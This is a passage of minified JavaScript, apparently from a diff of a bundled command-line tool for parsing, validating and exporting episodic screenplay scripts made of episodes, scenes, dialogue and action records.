column ${t.column}: ${n}`]}})}function cd(e,t,n){let o="";for(let i=0;i<e.length;i+=1){let r=e[i];if(r!=="\\"){o+=r;continue}let s=e[i+1];if(s===void 0)throw $("Trailing escape is invalid.",{line:t.line,column:t.column+i},e,"Escape a supported character or remove the trailing backslash.");if(s==="\\"||s==="n"||n&&(s==="|"||s==="]")){o+=s==="n"?`
129
- `:s,i+=1;continue}throw $("Unknown escape sequence.",{line:t.line,column:t.column+i},`\\${s}`,n?"Use only \\|, \\], \\\\, or \\n in a header.":"Use only \\\\ or \\n in record content.")}return o}function Ki(e,t){let n={line:t,column:Math.max(1,e.indexOf("[")+1)},o=e.trimStart();if(!o.startsWith("["))throw $("Expected a bracket record.",n,e,"Start the semantic line with a known [type] record.");let i=-1,r=!1;for(let y=1;y<o.length;y+=1){let m=o[y];if(r){r=!1;continue}if(m==="\\"){r=!0;continue}if(m==="]"){i=y;break}}if(i<0)throw $("Bracket record is not closed.",n,e,"Add the closing ].");let s=o.slice(1,i),c=[],a="";r=!1;for(let y=0;y<s.length;y+=1){let m=s[y];r?(a+=`\\${m}`,r=!1):m==="\\"?r=!0:m==="|"?(c.push(a),a=""):a+=m}r&&(a+="\\"),c.push(a);let[d,...p]=c,l=cd(d??"",n,!0);if(!l)throw $("Record type is empty.",n,e,"Use a known record type.");let f=o.slice(i+1),u=f.startsWith(" ")?f.slice(1):f;return{type:l,slots:p.map(y=>cd(y,n,!0)),content:cd(u,{line:t,column:i+2},!1),source:n}}function Et(){return{extend:{},extendPresent:!1,aliases:[],aliasesPresent:!1,phase:"extend"}}function zn(e){return e.extendPresent||e.aliasesPresent||e.prompt!==void 0}function xt(e){return e.extendPresent?e.extend:void 0}function dd(e){return e===null||typeof e=="string"||typeof e=="number"||typeof e=="boolean"?!0:Array.isArray(e)?e.every(dd):typeof e!="object"?!1:Object.values(e).every(dd)}function pd(e){if(Array.isArray(e))return e.map(pd);if(e!==null&&typeof e=="object"){let t={};for(let n of Object.keys(e).sort())t[n]=pd(e[n]);return t}return e}function df(e){return e==="featured"||e==="background"}function yE(e){return e==="\u4E3B\u89D2"||e==="\u914D\u89D2"}function wE(e){return e==="system"||e==="broadcast"||e==="offscreen"||e==="group"}function _E(e){return e==="actor"||e==="location"||e==="prop"}function pf(e,t,n,o){if(!/^\d+$/.test(e))throw $(`${n} must be an integer.`,t,e||"<empty>",`Use ${o?"a non-negative":"a positive"} integer.`);let i=Number(e);if(!Number.isSafeInteger(i)||(o?i<0:i<1))throw $(`${n} is out of range.`,t,e,`Use ${o?"a non-negative":"a positive"} safe integer.`);return i}function EE(e,t){let n=e.trim();if(!n.startsWith("<"))return null;let o={line:t,column:e.indexOf("<")+1},i=/^<\/([a-z-]+)>$/.exec(n);if(i)return{name:i[1],closing:!0,attrs:new Map,source:o};let r=/^<([a-z-]+)(?: ([^>]+))?>$/.exec(n);if(!r)throw $("Block tag syntax is invalid.",o,e,"Use <name key=value> or </name> on its own line.");let s=new Map,c=r[2]??"";if(c)for(let a of c.split(" ")){if(!a)throw $("Block attributes must use one space separators.",o,e,"Use canonical key=value attributes separated by one space.");let d=/^([a-z]+)=([A-Za-z0-9_./#:-]+)$/.exec(a);if(!d)throw $("Block attribute syntax is invalid.",o,a,"Use unquoted canonical key=value attributes.");if(s.has(d[1]))throw $("Block attribute is duplicated.",o,d[1],"Keep exactly one value for each attribute.");s.set(d[1],d[2])}return{name:r[1],closing:!1,attrs:s,source:o}}function Sn(e,t,n=[]){let o=new Set([...t,...n]),i=[...e.attrs.keys()].filter(s=>!o.has(s)),r=t.filter(s=>!e.attrs.has(s));if(i.length>0||r.length>0)throw $(`Attributes for <${e.name}> are invalid.`,e.source,`missing=${r.join(",")||"-"} unknown=${i.join(",")||"-"}`,`Use ${[...t,...n].map(s=>`${s}=...`).join(" ")}.`)}function xE(e,t){if(!e)throw $("Speaker is required.",t,"<empty>","Use act_ID[/state_ID] or system|broadcast|offscreen|group[:label].");let n=e.indexOf("/"),o=n>=0?e.slice(0,n):e;if(/^act_[A-Za-z0-9_-]+$/.test(o)){if(n<0)return{actor_id:o};let s=e.slice(n+1);if(!s||s.includes("/"))throw $("Actor speaker state is invalid.",t,e,"Use act_ID/state_ID.");return{actor_id:o,state_id:s}}let i=e.indexOf(":"),r=i>=0?e.slice(0,i):e;if(!qo.has(r)||!wE(r))throw $("Speaker kind is invalid.",t,e,"Use an actor ID or system, broadcast, offscreen, or group.");return i<0?{kind:r}:{kind:r,label:e.slice(i+1)}}function SE(e,t){let o={act:"action",dlg:"dialogue",think:"inner_thought",trans:"transition"}[e.type];if(o===void 0||!qt.has(o))throw $("Body record type is invalid.",e.source,e.type,"Use [act], [dlg], [think], or [trans].");let i={type:o,content:e.content};if(o==="dialogue"||o==="inner_thought"){if(e.slots.length<1||e.slots.length>2)throw $("Speaker record slots are invalid.",e.source,e.slots.join("|"),`Use [${e.type}|speaker|emotion?].`);i.speaker=xE(e.slots[0],e.source),e.slots.length===2&&(i.emotion=e.slots[1])}else{if(e.slots.length>1)throw $("Body record slots are invalid.",e.source,e.slots.join("|"),`Use [${e.type}|emotion?].`);e.slots.length===1&&(i.emotion=e.slots[0])}let r=xt(t);if(r!==void 0&&(i.extend=r),t.aliasesPresent)throw $("Alias cannot modify an action.",t.source??e.source,t.aliases.join(","),"Use [alias] only before an asset declaration.");return t.prompt!==void 0&&(i.transition_prompt=t.prompt),i}var ld=class{lines;index=0;constructor(t){this.lines=t.replace(/\r\n?/g,`
128
+ `,targetCount:i}}function pe(e,t,n,o,i=b){throw new S(t,{exitCode:i,errorCode:e,hint:o,data:{actual:n}})}function Q_(e){let t=me(e),n;try{n=JSON.parse(Hu.readFileSync(t,"utf-8"))}catch(o){pe("SCRIPT_JSON_UNAVAILABLE","The local script cannot be read as JSON.",[t,o instanceof Error?o.message:String(o)],"Provide a readable local Script v3 file.")}return Js(n)}function Ur(e){return e||pe("AUTHORING_SELECTOR_REQUIRED","This export kind requires --in.",["<missing>"],"Pass one or more comma-separated point or from..through regions.",B),e.split(",").map(t=>{let n=t.trim();n||pe("AUTHORING_SELECTOR_INVALID","Selector contains an empty region.",[e],"Remove empty comma-separated regions.",B);let o=n.indexOf("..");if(o<0)return{from:n,through:n};n.indexOf("..",o+2)>=0&&pe("AUTHORING_SELECTOR_INVALID","Selector region has more than one range delimiter.",[n],"Use point or from..through.",B);let i=n.slice(0,o),r=n.slice(o+2);return(!i||!r)&&pe("AUTHORING_SELECTOR_INVALID","Selector range endpoint is empty.",[n],"Provide both endpoints.",B),{from:i,through:r}})}function Hs(e,t,n){if(t.from==="*"&&t.through==="*")return e.length===0&&pe("AUTHORING_SELECTOR_EMPTY",`The script contains no ${n}.`,["*"],"Choose a non-empty target kind."),[0,e.length-1];(e.filter(r=>r===t.from).length>1||e.filter(r=>r===t.through).length>1)&&pe("AUTHORING_SELECTOR_AMBIGUOUS",`${n} selector endpoint is not unique.`,[t.from,t.through],"Repair duplicate stable IDs before exporting this target.");let o=e.indexOf(t.from),i=e.indexOf(t.through);return(o<0||i<0)&&pe("AUTHORING_SELECTOR_NOT_FOUND",`${n} selector endpoint was not found.`,[t.from,t.through],"Use IDs from the current local script."),o>i&&pe("AUTHORING_SELECTOR_REVERSED",`${n} selector is reversed in current document order.`,[t.from,t.through],"Put the earlier document endpoint first."),[o,i]}function Fu(e,t){let n=new Set;for(let o of e){let i=t(o);n.has(i)&&pe("AUTHORING_SELECTOR_OVERLAP","Selector regions overlap or repeat a target.",[i],"Use non-overlapping regions."),n.add(i)}return e}function Pr(e,t){for(let n=1;n<e.length;n+=1){let o=e[n-1],i=e[n],r=Math.max(o.length,i.length),s=0;for(let c=0;c<r&&(s=(i[c]??0)-(o[c]??0),s===0);c+=1);s<=0&&pe("AUTHORING_SELECTOR_ORDER",`${t} selector regions are not in current document order.`,[`region=${n+1}`],"List disjoint selector regions from earlier to later document positions.")}}function F_(e,t){let n=[],o=e.episodes.map(r=>r.episode_id);for(let r of Ur(t)){let[s,c]=Hs(o,r,"episode");n.push(...e.episodes.slice(s,c+1))}Fu(n,r=>r.episode_id),Pr(n.map(r=>[o.indexOf(r.episode_id)]),"Episode");let i=n.map(r=>({kind:"episode",value:structuredClone(r),source:Zt}));return Gi("episode",i)}function Y_(e,t){let n=e.episodes.map(s=>s.episode_id),o=[],i=new Set,r=[];for(let s of Ur(t)){let[c,a]=Hs(n,s,"episode");for(let d=c;d<=a;d+=1)i.has(d)&&pe("AUTHORING_SELECTOR_OVERLAP","Episode span regions overlap.",[`${s.from}..${s.through}`],"Use non-overlapping regions."),i.add(d);o.push({kind:"episode-span",from:n[c],through:n[a],episodes:structuredClone(e.episodes.slice(c,a+1)),source:Zt}),r.push([c])}return Pr(r,"Episode span"),Gi("episode-span",o)}function q_(e){return e.episodes.flatMap(t=>t.scenes.map(n=>({episodeId:t.episode_id,scene:n})))}function od(e){return`${e.episodeId}/${e.scene.scene_id}`}function Z_(e,t){let n=q_(e),o=n.map(od),i=[];for(let s of Ur(t)){let[c,a]=Hs(o,s,"scene");i.push(...n.slice(c,a+1))}Fu(i,od),Pr(i.map(s=>[o.indexOf(od(s))]),"Scene");let r=i.map(s=>({kind:"scene",parent:s.episodeId,value:structuredClone(s.scene),source:Zt}));return Gi("scene",r)}function id(e){let t=/^([^/#]+)\/([^/#]+)$/.exec(e);return t||pe("AUTHORING_SELECTOR_INVALID","Scene selector endpoint must be ep/scn.",[e],"Use ep_ID/scn_ID."),{episodeId:t[1],sceneId:t[2]}}function W_(e,t){let n=[],o=new Set,i=[];for(let r of Ur(t)){(r.from==="*"||r.through==="*")&&pe("AUTHORING_SELECTOR_INVALID","A scene span wildcard has no single parent.",["*"],"Use one explicit region per episode.");let s=id(r.from),c=id(r.through);s.episodeId!==c.episodeId&&pe("AUTHORING_SELECTOR_CROSS_PARENT","A scene span must remain inside one episode.",[r.from,r.through],"Split it into one region per episode.");let a=e.episodes.filter(u=>u.episode_id===s.episodeId);a.length===0&&pe("AUTHORING_SELECTOR_NOT_FOUND","Scene span parent episode was not found.",[s.episodeId],"Use an existing episode ID."),a.length>1&&pe("AUTHORING_SELECTOR_AMBIGUOUS","Scene span parent episode is not unique.",[s.episodeId],"Repair duplicate stable IDs before exporting.");let d=a[0],p=d.scenes.map(u=>u.scene_id),[l,f]=Hs(p,{from:s.sceneId,through:c.sceneId},"scene");for(let u=l;u<=f;u+=1){let y=`${d.episode_id}/${p[u]}`;o.has(y)&&pe("AUTHORING_SELECTOR_OVERLAP","Scene span regions overlap.",[y],"Use non-overlapping regions."),o.add(y)}n.push({kind:"scene-span",parent:d.episode_id,from:p[l],through:p[f],scenes:structuredClone(d.scenes.slice(l,f+1)),source:Zt}),i.push([e.episodes.indexOf(d),l])}return Pr(i,"Scene span"),Gi("scene-span",n)}function zu(e){let t=/^([^/#]+\/[^/#]+)#(\d+)$/.exec(e);t||pe("AUTHORING_SELECTOR_INVALID","Action selector endpoint must be ep/scn#index.",[e],"Use a zero-based ep_ID/scn_ID#index address.");let n=Number(t[2]);return Number.isSafeInteger(n)||pe("AUTHORING_SELECTOR_INVALID","Action index is outside the safe integer range.",[e],"Use a zero-based safe integer index."),{parent:t[1],index:n}}function X_(e,t){let n=[],o=new Set,i=[];for(let r of Ur(t)){(r.from==="*"||r.through==="*")&&pe("AUTHORING_SELECTOR_INVALID","An action span wildcard has no single parent.",["*"],"Use one explicit region per scene.");let s=zu(r.from),c=zu(r.through);s.parent!==c.parent&&pe("AUTHORING_SELECTOR_CROSS_PARENT","An action span must remain inside one scene.",[r.from,r.through],"Split it into one region per scene.");let a=id(s.parent),d=e.episodes.filter(u=>u.episode_id===a.episodeId);d.length===0&&pe("AUTHORING_SELECTOR_NOT_FOUND","Action span parent episode was not found.",[a.episodeId],"Use an existing episode ID."),d.length>1&&pe("AUTHORING_SELECTOR_AMBIGUOUS","Action span parent episode is not unique.",[a.episodeId],"Repair duplicate stable IDs before exporting.");let p=d[0],l=p.scenes.filter(u=>u.scene_id===a.sceneId);l.length===0&&pe("AUTHORING_SELECTOR_NOT_FOUND","Action span parent scene was not found.",[s.parent],"Use an existing scene address."),l.length>1&&pe("AUTHORING_SELECTOR_AMBIGUOUS","Action span parent scene is not unique.",[s.parent],"Repair duplicate stable IDs before exporting.");let f=l[0];s.index>c.index&&pe("AUTHORING_SELECTOR_REVERSED","Action span is reversed.",[r.from,r.through],"Put the lower current action index first."),c.index>=f.actions.length&&pe("AUTHORING_SELECTOR_NOT_FOUND","Action span endpoint is outside the current body.",[r.through,`actions=${f.actions.length}`],"Use current zero-based action indices.");for(let u=s.index;u<=c.index;u+=1){let y=`${s.parent}#${u}`;o.has(y)&&pe("AUTHORING_SELECTOR_OVERLAP","Action span regions overlap.",[y],"Use non-overlapping regions."),o.add(y)}n.push({kind:"action-span",parent:s.parent,from:s.index,through:c.index,actions:structuredClone(f.actions.slice(s.index,c.index+1)),source:Zt}),i.push([e.episodes.indexOf(p),p.scenes.indexOf(f),s.index])}return Pr(i,"Action span"),Gi("action-span",n)}function Yu(e,t){let n=v(t.output).trim();n||pe("AUTHORING_OUTPUT_REQUIRED","Export requires --output.",["<missing>"],"Pass a destination .scriptctl file.",B);let o=Q_(t),i=v(t.in).trim(),r=Qu.resolve(n);if(o.version===4){let p=ju(_n(o),e,i);return $s(r,p.content),[{text:`Exported ${p.targetCount} ${e} target(s) to ${r}`,data:{op:`export.${e}`,output:r,target_kind:e==="episodes"?"episode":e==="episode-spans"?"episode-span":e==="scenes"?"scene":e==="scene-spans"?"scene-span":e==="action-spans"?"action-span":"script",target_count:p.targetCount,bytes:Buffer.byteLength(p.content),script_version:4}},G]}let s=Tt(o),c;e==="script"?c=Vu(s):e==="episodes"?c=F_(s,i):e==="episode-spans"?c=Y_(s,i):e==="scenes"?c=Z_(s,i):e==="scene-spans"?c=W_(s,i):c=X_(s,i);let a=Du(c);return $s(r,a),[{text:`Exported ${c.targets.length} ${e} target(s) to ${r}`,data:{op:`export.${e}`,output:r,target_kind:c.targetKind,target_count:c.targets.length,bytes:Buffer.byteLength(a),script_version:3}},G]}import*as Id from"node:crypto";import*as $r from"node:fs";import*as If from"node:path";function F(e,t,n,o,i=b){throw new S(t,{exitCode:i,errorCode:e,hint:o[0],data:{actual:n}})}function le(e){return`line ${e.line}, column ${e.column}`}function Qs(e){if(Array.isArray(e))return e.map(Qs);if(e!==null&&typeof e=="object"){let t={};for(let[n,o]of Object.entries(e).sort(([i],[r])=>i.localeCompare(r)))t[n]=Qs(o);return t}return e}function xo(e,t){return JSON.stringify(Qs(e))===JSON.stringify(Qs(t))}function Cr(e,t){return"actor_id"in t?t.actor_id:"location_id"in t?t.location_id:t.prop_id}function eE(e,t){return"actor_name"in t?t.actor_name:"location_name"in t?t.location_name:t.prop_name}function tE(e,t){return t==="actor"?e.actors:t==="location"?e.locations:e.props}function nE(e,t){"actor_id"in t.value?e.actors.push(t.value):"location_id"in t.value?e.locations.push(t.value):e.props.push(t.value)}function nf(e,t,n){return tE(e,t).find(o=>Cr(t,o)===n)}function oE(e,t){for(let n of["actor","location","prop"]){let o=nf(e,n,t);if(o!==void 0)return{kind:n,value:o}}}function iE(e){let t=[],n=[],o={actor:0,location:1,prop:2},i=-1,r,s=!1,c=new Set;for(let a of e){if(a.declarationKind!=="state"){s&&F("AUTHORING_DECLARATION_ORDER","Asset declarations must precede standalone state declarations.",[le(a.source)],["Move standalone states to the end of <create>."]);let p=a.declarationKind;o[p]<i&&F("AUTHORING_DECLARATION_ORDER","Asset declaration groups are out of canonical order.",[le(a.source),p],["Order asset declarations as actor, location, then prop."]),i=o[p];let l=structuredClone(a.value);l.states=[];let f={kind:p,value:l,source:a.source},u=`${p}:${Cr(p,l)}`;c.has(u)&&F("AUTHORING_DECLARATION_DUPLICATE","Asset declaration is duplicated.",[le(a.source),u],["Keep one declaration per asset."]),c.add(u),t.push(f),r=f;continue}let d=`${a.ownerKind}:${a.ownerId}`;if(r!==void 0&&r.kind===a.ownerKind&&Cr(r.kind,r.value)===a.ownerId){r.value.states.push(structuredClone(a.value));continue}s=!0,r=void 0,n.push({kind:a.ownerKind,ownerId:a.ownerId,value:structuredClone(a.value),source:a.source})}for(let a of t){let d=Cr(a.kind,a.value);(a.value.states.length===0||a.value.states[0].state_id!=="default")&&F("AUTHORING_DEFAULT_STATE_REQUIRED","Every declared asset must be immediately followed by its states, beginning with default.",[le(a.source),`${a.kind}:${d}`],[`Add [state|${a.kind}:${d}|default|...] directly after the asset declaration.`]),a.value.states.filter(l=>l.state_id==="default").length!==1&&F("AUTHORING_DEFAULT_STATE_DUPLICATE","Every declared asset must contain exactly one default state.",[le(a.source),`${a.kind}:${d}`],["Keep exactly one default state."]);let p=a.value.aliases??[];(new Set(p).size!==p.length||p.includes(eE(a.kind,a.value)))&&F("AUTHORING_ALIAS_INVALID","Asset aliases must be unique and must differ from the canonical name.",[le(a.source),`${a.kind}:${d}`],["Remove duplicate aliases and the canonical name from aliases."])}return{assets:t,states:n}}function rE(){return{createdAssets:[],existingAssets:[],createdStates:[],existingStates:[]}}function of(e,t){let n=iE(t),o=rE();for(let i of n.assets){let r=Cr(i.kind,i.value),s=`${i.kind}:${r}`,c=oE(e,r);if(c!==void 0){if(c.kind===i.kind&&xo(c.value,i.value)){o.existingAssets.push(s),o.existingStates.push(...i.value.states.map(a=>`${s}/${a.state_id}`));continue}F("AUTHORING_ASSET_CONFLICT","Create-only asset declaration conflicts with an existing asset.",[le(i.source),`${i.kind}:${r}`],["Use the existing identical definition or change it with an explicit mutation verb."])}nE(e,i),o.createdAssets.push(s),o.createdStates.push(...i.value.states.map(a=>`${s}/${a.state_id}`))}for(let i of n.states){let r=nf(e,i.kind,i.ownerId);r===void 0&&F("AUTHORING_STATE_OWNER_NOT_FOUND","Standalone state owner does not exist.",[le(i.source),`${i.kind}:${i.ownerId}`],["Declare the asset before its states or use an existing asset ID."]);let s=r.states.find(a=>a.state_id===i.value.state_id);s!==void 0&&!xo(s,i.value)&&F("AUTHORING_STATE_CONFLICT","Create-only state declaration conflicts with an existing state on the same asset.",[le(i.source),`${i.kind}:${i.ownerId}/${i.value.state_id}`],["Use an unused state ID for this asset, or reuse the identical existing state."]);let c=`${i.kind}:${i.ownerId}/${i.value.state_id}`;s===void 0?(r.states.push(i.value),o.createdStates.push(c)):o.existingStates.push(c)}return o}function qu(e){return{episodes:0,scenes:e===void 0?0:1,actions:e?.actions.length??0}}function Zu(e){return{episodes:e===void 0?0:1,scenes:e?.scenes.length??0,actions:e?.scenes.reduce((t,n)=>t+n.actions.length,0)??0}}function Fs(e){return e.reduce((t,n)=>({episodes:t.episodes+1,scenes:t.scenes+n.scenes.length,actions:t.actions+n.scenes.reduce((o,i)=>o+i.actions.length,0)}),{episodes:0,scenes:0,actions:0})}function Wu(e){return{episodes:0,scenes:e.length,actions:e.reduce((t,n)=>t+n.actions.length,0)}}function Tr(e,t){let n=new Set(e),o=new Set(t);return{retainedIds:t.filter(i=>n.has(i)),createdIds:t.filter(i=>!n.has(i)),removedIds:e.filter(i=>!o.has(i))}}function rd(e,t){let n=[];e.location!==null&&!e.location.state_id&&n.push(`location:${e.location.location_id}`);for(let o of e.actors)o.state_id||n.push(`actor:${o.actor_id}`);for(let o of e.props)o.state_id||n.push(`prop:${o.prop_id}`);n.length>0&&F("AUTHORING_SCENE_REF_UNMATERIALIZED","Every scene asset reference in an authored block must bind a state.",[le(t),...n],["Add the concrete state ID to every location, cast, and prop record."])}function sd(e,t){for(let n of e.scenes)rd(n,t)}function ei(e,t){return e.episodes.findIndex(n=>n.episode_id===t)}function Ys(e,t){return e.scenes.findIndex(n=>n.scene_id===t)}function rf(e,t,n){let o=ei(e,t);o<0&&F("AUTHORING_EPISODE_NOT_FOUND","Episode target does not exist.",[t],["Inspect episodes and use an existing parent."]);let i=Ys(e.episodes[o],n);return i<0&&F("AUTHORING_SCENE_NOT_FOUND","Scene target does not exist.",[`${t}/${n}`],["Inspect scenes and use an existing target."]),[o,i]}function sE(e,t){let n=Math.max(e.length,t.length);for(let o=0;o<n;o+=1){let i=(e[o]??0)-(t[o]??0);if(i!==0)return i}return 0}function Vr(e,t){for(let n=1;n<e.length;n+=1)sE(e[n-1].coord,e[n].coord)>=0&&F("AUTHORING_TARGET_ORDER",t,[le(e[n].source)],["List replace targets in current document order without duplicates."],B)}function aE(e,t,n,o){let i=[];if(o==="replace"){let r=n.map(s=>{let c=ei(e,s.value.episode_id);return c<0&&F("AUTHORING_EPISODE_NOT_FOUND","Episode replace target does not exist.",[le(s.source),s.value.episode_id],["Use --create for a new episode or choose an existing ID."]),{coord:[c],source:s.source}});Vr(r,"Episode replace targets are not in document order.")}for(let r of n){sd(r.value,r.source);let s=ei(e,r.value.episode_id),c=s<0?void 0:e.episodes[s];o==="create"?c!==void 0?xo(c,r.value)||F("AUTHORING_CREATE_CONFLICT","Episode create target already exists with different content.",[le(r.source),r.value.episode_id],["Use --replace to replace it, or make the create block identical for a no-op retry."]):t.episodes.push(structuredClone(r.value)):t.episodes[s]=structuredClone(r.value),i.push({kind:"episode",address:r.value.episode_id,before:Zu(c),after:Zu(r.value),...Tr(c?.scenes.map(a=>a.scene_id)??[],r.value.scenes.map(a=>a.scene_id)),untouchedSiblings:Math.max(0,e.episodes.length-(c===void 0?0:1))})}return i}function cE(e,t,n,o){let i=[];if(o==="replace"){let r=n.map(s=>({coord:rf(e,s.parent,s.value.scene_id),source:s.source}));Vr(r,"Scene replace targets are not in document order.")}for(let r of n){rd(r.value,r.source);let s=ei(e,r.parent);s<0&&F("AUTHORING_EPISODE_NOT_FOUND","Scene parent episode does not exist.",[le(r.source),r.parent],["Use an existing episode parent."]);let c=e.episodes[s],a=t.episodes[s],d=Ys(c,r.value.scene_id),p=d<0?void 0:c.scenes[d];o==="create"?p!==void 0?xo(p,r.value)||F("AUTHORING_CREATE_CONFLICT","Scene create target already exists with different content.",[le(r.source),`${r.parent}/${r.value.scene_id}`],["Use --replace or make the create block identical for a no-op retry."]):a.scenes.push(structuredClone(r.value)):(d<0&&F("AUTHORING_SCENE_NOT_FOUND","Scene replace target does not exist.",[le(r.source),`${r.parent}/${r.value.scene_id}`],["Use --create for a new scene or choose an existing scene."]),a.scenes[d]=structuredClone(r.value)),i.push({kind:"scene",address:`${r.parent}/${r.value.scene_id}`,before:qu(p),after:qu(r.value),...Tr(p===void 0?[]:[p.scene_id],[r.value.scene_id]),untouchedSiblings:Math.max(0,c.scenes.length-(p===void 0?0:1))})}return i}function dE(e,t,n){let o=n.map(r=>{let s=ei(e,r.from),c=ei(e,r.through);(s<0||c<0)&&F("AUTHORING_SPAN_ENDPOINT_NOT_FOUND","Episode-span endpoint does not exist.",[le(r.source),`${r.from}..${r.through}`],["Use existing episode IDs as span endpoints."]),s>c&&F("AUTHORING_SPAN_REVERSED","Episode-span endpoints are reversed in current document order.",[le(r.source),`${r.from}..${r.through}`],["Swap from and through."]),r.episodes.length===0&&F("AUTHORING_EMPTY_SPAN","Episode-span replacement cannot be empty.",[le(r.source)],["Include at least one complete episode."]);for(let a of r.episodes)sd(a,r.source);return{target:r,from:s,through:c}});Vr(o.map(r=>({coord:[r.from],source:r.target.source})),"Episode spans are not in document order.");for(let r=1;r<o.length;r+=1)o[r].from<=o[r-1].through&&F("AUTHORING_SPAN_OVERLAP","Episode spans overlap.",[le(o[r].target.source)],["Use disjoint episode spans."]);let i=o.map(({target:r,from:s,through:c})=>{let a=e.episodes.slice(s,c+1);return{kind:"episode-span",address:`${r.from}..${r.through}`,before:Fs(a),after:Fs(r.episodes),...Tr(a.map(d=>d.episode_id),r.episodes.map(d=>d.episode_id)),untouchedSiblings:e.episodes.length-a.length}});for(let{target:r,from:s,through:c}of[...o].reverse())t.episodes.splice(s,c-s+1,...structuredClone(r.episodes));return i}function pE(e,t,n){let o=n.map(s=>{let c=ei(e,s.parent);c<0&&F("AUTHORING_EPISODE_NOT_FOUND","Scene-span parent does not exist.",[le(s.source),s.parent],["Use an existing parent episode."]);let a=e.episodes[c],d=Ys(a,s.from),p=Ys(a,s.through);(d<0||p<0)&&F("AUTHORING_SPAN_ENDPOINT_NOT_FOUND","Scene-span endpoint does not exist in its parent.",[le(s.source),`${s.parent}:${s.from}..${s.through}`],["Use scene IDs from the same existing episode."]),d>p&&F("AUTHORING_SPAN_REVERSED","Scene-span endpoints are reversed in current document order.",[le(s.source),`${s.from}..${s.through}`],["Swap from and through."]),s.scenes.length===0&&F("AUTHORING_EMPTY_SPAN","Scene-span replacement cannot be empty.",[le(s.source)],["Include at least one complete scene."]);for(let l of s.scenes)rd(l,s.source);return{target:s,epIndex:c,from:d,through:p}});Vr(o.map(s=>({coord:[s.epIndex,s.from],source:s.target.source})),"Scene spans are not in document order.");for(let s=1;s<o.length;s+=1){let c=o[s-1],a=o[s];a.epIndex===c.epIndex&&a.from<=c.through&&F("AUTHORING_SPAN_OVERLAP","Scene spans overlap.",[le(a.target.source)],["Use disjoint scene spans."])}let i=o.map(({target:s,epIndex:c,from:a,through:d})=>{let p=e.episodes[c].scenes.slice(a,d+1);return{kind:"scene-span",address:`${s.parent}/${s.from}..${s.parent}/${s.through}`,before:Wu(p),after:Wu(s.scenes),...Tr(p.map(l=>l.scene_id),s.scenes.map(l=>l.scene_id)),untouchedSiblings:e.episodes[c].scenes.length-p.length}}),r=new Map;for(let s of o)r.set(s.epIndex,[...r.get(s.epIndex)??[],s]);for(let[s,c]of r)for(let{target:a,from:d,through:p}of[...c].reverse())t.episodes[s].scenes.splice(d,p-d+1,...structuredClone(a.scenes));return i}function lE(e,t,n){let o=n.map(s=>{let c=s.parent.indexOf("/");(c<1||c===s.parent.length-1)&&F("AUTHORING_SCENE_ADDRESS_INVALID","Action-span parent is not a complete scene address.",[le(s.source),s.parent],["Use parent=ep_ID/scn_ID."]);let a=s.parent.slice(0,c),d=s.parent.slice(c+1),[p,l]=rf(e,a,d),f=e.episodes[p].scenes[l];return s.from>s.through&&F("AUTHORING_SPAN_REVERSED","Action-span endpoints are reversed.",[le(s.source),`${s.from}..${s.through}`],["Swap from and through."]),s.through>=f.actions.length&&F("AUTHORING_SPAN_ENDPOINT_NOT_FOUND","Action-span endpoint is outside the current scene body.",[le(s.source),`${s.from}..${s.through}`,`actions=${f.actions.length}`],["Use zero-based endpoints within the current body."]),s.actions.length===0&&F("AUTHORING_EMPTY_SPAN","Action-span replacement cannot be empty.",[le(s.source)],["Include at least one action."]),{target:s,epIndex:p,scIndex:l,scene:f,from:s.from,through:s.through}});Vr(o.map(s=>({coord:[s.epIndex,s.scIndex,s.from],source:s.target.source})),"Action spans are not in document order.");for(let s=1;s<o.length;s+=1){let c=o[s-1],a=o[s];a.epIndex===c.epIndex&&a.scIndex===c.scIndex&&a.from<=c.through&&F("AUTHORING_SPAN_OVERLAP","Action spans overlap.",[le(a.target.source)],["Use disjoint action spans."])}let i=o.map(({target:s,scene:c,from:a,through:d})=>({kind:"action-span",address:`${s.parent}#${a}..${s.parent}#${d}`,before:{episodes:0,scenes:0,actions:d-a+1},after:{episodes:0,scenes:0,actions:s.actions.length},retainedIds:[],createdIds:[],removedIds:[],untouchedSiblings:c.actions.length-(d-a+1)})),r=new Map;for(let s of o){let c=`${s.epIndex}/${s.scIndex}`;r.set(c,[...r.get(c)??[],s])}for(let s of r.values())for(let{target:c,epIndex:a,scIndex:d,from:p,through:l}of[...s].reverse())t.episodes[a].scenes[d].actions.splice(p,l-p+1,...structuredClone(c.actions));return i}function sf(e){let t=new Set,n=new Set;for(let o of e.episodes){t.has(o.episode_id)&&F("AUTHORING_EPISODE_ID_CONFLICT","Episode ID occurs more than once.",[o.episode_id],["Use globally unique episode IDs."]),t.add(o.episode_id);for(let i of o.scenes)n.has(i.scene_id)&&F("AUTHORING_SCENE_ID_CONFLICT","Scene ID occurs more than once.",[i.scene_id],["Use globally unique stable scene IDs."]),n.add(i.scene_id)}}function uE(e,t){let n=/^\$\.episodes\[(\d+)]/.exec(e);if(n===null)return e;let o=t.episodes[Number(n[1])];if(o===void 0)return e;let i=e.replace(n[0],`$.episodes[${o.episode_id}]`),r=/^(\$\.episodes\[\d+]\.scenes)\[(\d+)]/.exec(e);if(r!==null){let s=o.scenes[Number(r[2])];if(s!==void 0){let c=`${n[0]}.scenes[${r[2]}]`;i=e.replace(c,`$.episodes[${o.episode_id}].scenes[${s.scene_id}]`)}}return i}function Xu(e,t){return`${e.code}\0${uE(e.path,t)}\0${e.message}`}function fE(e){let t={episodeIds:new Set,sceneIds:new Set,fullEpisodeIds:new Set,fullSceneIds:new Set,actionSpans:[]},n=i=>{t.sceneIds.add(i.scene_id),t.fullSceneIds.add(i.scene_id)},o=i=>{t.episodeIds.add(i.episode_id),t.fullEpisodeIds.add(i.episode_id);for(let r of i.scenes)n(r)};for(let i of e)if(i.kind==="script")for(let r of i.episodes)o(r);else if(i.kind==="episode")o(i.value);else if(i.kind==="episode-span")for(let r of i.episodes)o(r);else if(i.kind==="scene")n(i.value);else if(i.kind==="scene-span")for(let r of i.scenes)n(r);else t.sceneIds.add(i.parent.split("/")[1]??""),t.actionSpans.push(i);return t}function mE(e,t,n){let o=[],i=new Map(e?.episodes.map(a=>[a.episode_id,a])??[]),r=new Map;for(let a of e?.episodes??[])for(let d of a.scenes)r.set(d.scene_id,d);let s=new Map(t.episodes.map(a=>[a.episode_id,a])),c=new Map;for(let a of t.episodes)for(let d of a.scenes)c.set(d.scene_id,{episodeId:a.episode_id,scene:d});for(let a of n.fullEpisodeIds){let d=s.get(a);if(d===void 0||d.scenes.length>0)continue;let 